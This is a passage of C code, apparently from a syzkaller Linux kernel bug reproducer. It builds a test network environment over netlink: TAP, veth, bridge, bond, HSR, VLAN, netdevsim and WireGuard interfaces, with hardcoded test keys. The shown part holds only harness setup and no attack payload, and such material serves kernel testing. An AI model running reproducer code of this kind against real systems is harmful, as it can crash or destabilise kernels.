netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name, const char* slave1, const char* slave2) { netlink_add_device_impl(nlmsg, "hsr", name); netlink_nest(nlmsg, IFLA_INFO_DATA); int ifindex1 = if_nametoindex(slave1); netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1)); int ifindex2 = if_nametoindex(slave2); netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2)); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type, const char* name, const char* link) { netlink_add_device_impl(nlmsg, type, name); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t id, uint16_t proto) { netlink_add_device_impl(nlmsg, "vlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id)); netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link) { netlink_add_device_impl(nlmsg, "macvlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); uint32_t mode = MACVLAN_MODE_BRIDGE; netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name, uint32_t vni, struct in_addr* addr4, struct in6_addr* addr6) { netlink_add_device_impl(nlmsg, "geneve", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni)); if (addr4) netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4)); if (addr6) netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6)); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); (void)err; } #define IFLA_IPVLAN_FLAGS 2 #define IPVLAN_MODE_L3S 2 #undef IPVLAN_F_VEPA #define IPVLAN_F_VEPA 2 static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t mode, uint16_t flags) { netlink_add_device_impl(nlmsg, "ipvlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode)); netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); (void)err; } static void netlink_device_change(struct nlmsg* nlmsg, int sock, const char* name, bool up, const char* master, const void* mac, int macsize, const char* new_name) { struct ifinfomsg hdr; memset(&hdr, 0, sizeof(hdr)); if (up) hdr.ifi_flags = hdr.ifi_change = IFF_UP; hdr.ifi_index = if_nametoindex(name); netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); if (new_name) netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); if (master) { int ifindex = if_nametoindex(master); netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); } if (macsize) netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); int err = netlink_send(nlmsg, sock); (void)err; } static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev, const void* addr, int addrsize) { struct ifaddrmsg hdr; memset(&hdr, 0, sizeof(hdr)); hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6; hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120; hdr.ifa_scope = RT_SCOPE_UNIVERSE; hdr.ifa_index = if_nametoindex(dev); netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, sizeof(hdr)); netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize); netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize); return netlink_send(nlmsg, sock); } static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in_addr in_addr; inet_pton(AF_INET, addr, &in_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr)); (void)err; } static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev, const char* addr) { struct in6_addr in6_addr; inet_pton(AF_INET6, addr, &in6_addr); int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr)); (void)err; } static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name, const void* addr, int addrsize, const void* mac, int macsize) { struct ndmsg hdr; memset(&hdr, 0, sizeof(hdr)); hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6; hdr.ndm_ifindex = if_nametoindex(name); hdr.ndm_state = NUD_PERMANENT; netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr)); netlink_attr(nlmsg, NDA_DST, addr, addrsize); netlink_attr(nlmsg, NDA_LLADDR, mac, macsize); int err = netlink_send(nlmsg, sock); (void)err; } static int tunfd = -1; #define TUN_IFACE "syz_tun" #define LOCAL_MAC 0xaaaaaaaaaaaa #define REMOTE_MAC 0xaaaaaaaaaabb #define LOCAL_IPV4 "172.20.20.170" #define REMOTE_IPV4 "172.20.20.187" #define LOCAL_IPV6 "fe80::aa" #define REMOTE_IPV6 "fe80::bb" #define IFF_NAPI 0x0010 static void initialize_tun(void) { tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK); if (tunfd == -1) { printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n"); printf("otherwise fuzzing or reproducing might not work as intended\n"); return; } const int kTunFd = 240; if (dup2(tunfd, kTunFd) < 0) exit(1); close(tunfd); tunfd = kTunFd; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ); ifr.ifr_flags = IFF_TAP | IFF_NO_PI; if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) { exit(1); } char sysctl[64]; sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE); write_file(sysctl, "0"); sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE); write_file(sysctl, "0"); int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4); netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6); uint64_t macaddr = REMOTE_MAC; struct in_addr in_addr; inet_pton(AF_INET, REMOTE_IPV4, &in_addr); netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr), &macaddr, ETH_ALEN); struct in6_addr in6_addr; inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr); netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr), &macaddr, ETH_ALEN); macaddr = LOCAL_MAC; netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN, NULL); close(sock); } #define DEVLINK_FAMILY_NAME "devlink" #define DEVLINK_CMD_PORT_GET 5 #define DEVLINK_ATTR_BUS_NAME 1 #define DEVLINK_ATTR_DEV_NAME 2 #define DEVLINK_ATTR_NETDEV_NAME 7 static int netlink_devlink_id_get(struct nlmsg* nlmsg, int sock) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = CTRL_CMD_GETFAMILY; netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, DEVLINK_FAMILY_NAME, strlen(DEVLINK_FAMILY_NAME) + 1); int n = 0; int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n); if (err) { return -1; } uint16_t id = 0; struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg->buf + n; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == CTRL_ATTR_FAMILY_ID) { id = *(uint16_t*)(attr + 1); break; } } if (!id) { return -1; } recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); return id; } static struct nlmsg nlmsg2; static void initialize_devlink_ports(const char* bus_name, const char* dev_name, const char* netdev_prefix) { struct genlmsghdr genlhdr; int len, total_len, id, err, offset; uint16_t netdev_index; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock == -1) exit(1); int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (rtsock == -1) exit(1); id = netlink_devlink_id_get(&nlmsg, sock); if (id == -1) goto error; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = DEVLINK_CMD_PORT_GET; netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1); netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1); err = netlink_send_ext(&nlmsg, sock, id, &total_len); if (err) { goto error; } offset = 0; netdev_index = 0; while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) { struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg.buf + offset + len; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) { char* port_name; char netdev_name[IFNAMSIZ]; port_name = (char*)(attr + 1); snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix, netdev_index); netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0, netdev_name); break; } } offset += len; netdev_index++; } error: close(rtsock); close(sock); } #define DEV_IPV4 "172.20.20.%d" #define DEV_IPV6 "fe80::%02x" #define DEV_MAC 0x00aaaaaaaaaa static void netdevsim_add(unsigned int addr, unsigned int port_count) { char buf[16]; sprintf(buf, "%u %u", addr, port_count); if (write_file("/sys/bus/netdevsim/new_device", buf)) { snprintf(buf, sizeof(buf), "netdevsim%d", addr); initialize_devlink_ports("netdevsim", buf, "netdevsim"); } } #define WG_GENL_NAME "wireguard" enum wg_cmd { WG_CMD_GET_DEVICE, WG_CMD_SET_DEVICE, }; enum wgdevice_attribute { WGDEVICE_A_UNSPEC, WGDEVICE_A_IFINDEX, WGDEVICE_A_IFNAME, WGDEVICE_A_PRIVATE_KEY, WGDEVICE_A_PUBLIC_KEY, WGDEVICE_A_FLAGS, WGDEVICE_A_LISTEN_PORT, WGDEVICE_A_FWMARK, WGDEVICE_A_PEERS, }; enum wgpeer_attribute { WGPEER_A_UNSPEC, WGPEER_A_PUBLIC_KEY, WGPEER_A_PRESHARED_KEY, WGPEER_A_FLAGS, WGPEER_A_ENDPOINT, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, WGPEER_A_LAST_HANDSHAKE_TIME, WGPEER_A_RX_BYTES, WGPEER_A_TX_BYTES, WGPEER_A_ALLOWEDIPS, WGPEER_A_PROTOCOL_VERSION, }; enum wgallowedip_attribute { WGALLOWEDIP_A_UNSPEC, WGALLOWEDIP_A_FAMILY, WGALLOWEDIP_A_IPADDR, WGALLOWEDIP_A_CIDR_MASK, }; static int netlink_wireguard_id_get(struct nlmsg* nlmsg, int sock) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = CTRL_CMD_GETFAMILY; netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, WG_GENL_NAME, strlen(WG_GENL_NAME) + 1); int n = 0; int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n); if (err) { return -1; } uint16_t id = 0; struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg->buf + n; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == CTRL_ATTR_FAMILY_ID) { id = *(uint16_t*)(attr + 1); break; } } if (!id) { return -1; } recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); return id; } static void netlink_wireguard_setup(void) { const char ifname_a[] = "wg0"; const char ifname_b[] = "wg1"; const char ifname_c[] = "wg2"; const char private_a[] = "\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1" "\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43"; const char private_b[] = "\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c" "\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e"; const char private_c[] = "\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15" "\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42"; const char public_a[] = "\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25" "\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c"; const char public_b[] = "\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e" "\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b"; const char public_c[] = "\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c" "\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22"; const uint16_t listen_a = 20001; const uint16_t listen_b = 20002; const uint16_t listen_c = 20003; const uint16_t af_inet = AF_INET; const uint16_t af_inet6 = AF_INET6; const struct sockaddr_in endpoint_b_v4 = { .sin_family = AF_INET, .sin_port = htons(listen_b), .sin_addr = {htonl(INADDR_LOOPBACK)}}; const struct sockaddr_in endpoint_c_v4 = { .sin_family = AF_INET, .sin_port = htons(listen_c), .sin_addr = {htonl(INADDR_LOOPBACK)}}; struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6, .sin6_port = htons(listen_a)}; endpoint_a_v6.sin6_addr = in6addr_loopback; struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6, .sin6_port = htons(listen_c)}; endpoint_c_v6.sin6_addr = in6addr_loopback; const struct in_addr first_half_v4 = {0}; const struct in_addr second_half_v4 = {(uint32_t)htonl(128 << 24)}; const struct in6_addr first_half_v6 = {{{0}}}; const struct in6_addr second_half_v6 = {{{0x80}}}; const uint8_t half_cidr = 1; const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19}; struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1}; int sock; int id, err; sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC); if (sock == -1) { return; } id = netlink_wireguard_id_get(&nlmsg, sock); if (id == -1) goto error; netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1); netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32); netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, sizeof(endpoint_b_v4)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[0], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, sizeof(first_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, sizeof(first_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6, sizeof(endpoint_c_v6)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[1], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, sizeof(second_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, sizeof(second_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); err = netlink_send(&nlmsg, sock); if (err) { } netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1); netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32); netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, sizeof(endpoint_a_v6)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[2], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, sizeof(first_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, sizeof(first_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4, sizeof(endpoint_c_v4)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[3], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, sizeof(second_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, sizeof(second_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); err = netlink_send(&nlmsg, sock); if (err) { } netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1); netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32); netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6, sizeof(endpoint_a_v6)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[4], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4, sizeof(first_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6, sizeof(first_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32); netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4, sizeof(endpoint_b_v4)); netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL, &persistent_keepalives[5], 2); netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4, sizeof(second_half_v4)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_nest(&nlmsg, NLA_F_NESTED | 0); netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2); netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6, sizeof(second_half_v6)); netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); netlink_done(&nlmsg); err = netlink_send(&nlmsg, sock); if (err) { } error: close(sock); } static void initialize_netdevices(void) { char netdevsim[16]; sprintf(netdevsim, "netdevsim%d", (int)procid); struct { const char* type; const char* dev; } devtypes[] = { {"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"}, {"vcan", "vcan0"}, {"bond", "bond0"}, {"team", "team0"}, {"dummy", "dummy0"}, {"nlmon", "nlmon0"}, {"caif", "caif0"}, {"batadv", "batadv0"}, {"vxcan", "vxcan1"}, {"netdevsim", netdevsim}, {"veth", 0}, {"xfrm", "xfrm0"}, {"wireguard", "wg0"}, {"wireguard", "wg1"}, {"wireguard", "wg2"}, }; const char* devmasters[] = {"bridge", "bond", "team", "batadv"}; struct { const char* name; int macsize; bool noipv6; } devices[] = { {"lo", ETH_ALEN}, {"sit0", 0}, {"bridge0", ETH_ALEN}, {"vcan0", 0, true}, {"tunl0", 0}, {"gre0", 0}, {"gretap0", ETH_ALEN}, {"ip_vti0", 0}, {"ip6_vti0", 0}, {"ip6tnl0", 0}, {"ip6gre0", 0}, {"ip6gretap0", ETH_ALEN}, {"erspan0", ETH_ALEN}, {"bond0", ETH_ALEN}, {"veth0", ETH_ALEN}, {"veth1", ETH_ALEN}, {"team0", ETH_ALEN}, {"veth0_to_bridge", ETH_ALEN}, {"veth1_to_bridge", ETH_ALEN}, {"veth0_to_bond", ETH_ALEN}, {"veth1_to_bond", ETH_ALEN}, {"veth0_to_team", ETH_ALEN}, {"veth1_to_team", ETH_ALEN}, {"veth0_to_hsr", ETH_ALEN}, {"veth1_to_hsr", ETH_ALEN}, {"hsr0", 0}, {"dummy0", ETH_ALEN}, {"nlmon0", 0}, {"vxcan0", 0, true}, {"vxcan1", 0, true}, {"caif0", ETH_ALEN}, {"batadv0", ETH_ALEN}, {netdevsim, ETH_ALEN}, {"xfrm0", ETH_ALEN}, {"veth0_virt_wifi", ETH_ALEN}, {"veth1_virt_wifi", ETH_ALEN}, {"virt_wifi0", ETH_ALEN}, {"veth0_vlan", ETH_ALEN}, {"veth1_vlan", ETH_ALEN}, {"vlan0", ETH_ALEN}, {"vlan1", ETH_ALEN}, {"macvlan0", ETH_ALEN}, {"macvlan1", ETH_ALEN}, {"ipvlan0", ETH_ALEN}, {"ipvlan1", ETH_ALEN}, {"veth0_macvtap", ETH_ALEN}, {"veth1_macvtap", ETH_ALEN}, {"macvtap0", ETH_ALEN}, {"macsec0", ETH_ALEN}, {"veth0_to_batadv", ETH_ALEN}, {"veth1_to_batadv", ETH_ALEN}, {"batadv_slave_0", ETH_ALEN}, {"batadv_slave_1", ETH_ALEN}, {"geneve0", ETH_ALEN}, {"geneve1", ETH_ALEN}, {"wg0", 0}, {"wg1", 0}, {"wg2", 0}, }; int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (sock == -1) exit(1); unsigned i; for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev); for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) { char master[32], slave0[32], veth0[32], slave1[32], veth1[32]; sprintf(slave0, "%s_slave_0", devmasters[i]); sprintf(veth0, "veth0_to_%s", devmasters[i]); netlink_add_veth(&nlmsg, sock, slave0, veth0); sprintf(slave1, "%s_slave_1", devmasters[i]); sprintf(veth1, "veth1_to_%s", devmasters[i]); netlink_add_veth(&nlmsg, sock, slave1, veth1); sprintf(master, "%s0", devmasters[i]); netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL); netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL); } netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL); netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL); netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr"); netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr"); netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1"); netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL); netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL); netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi"); netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0", "veth1_virt_wifi"); netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan"); 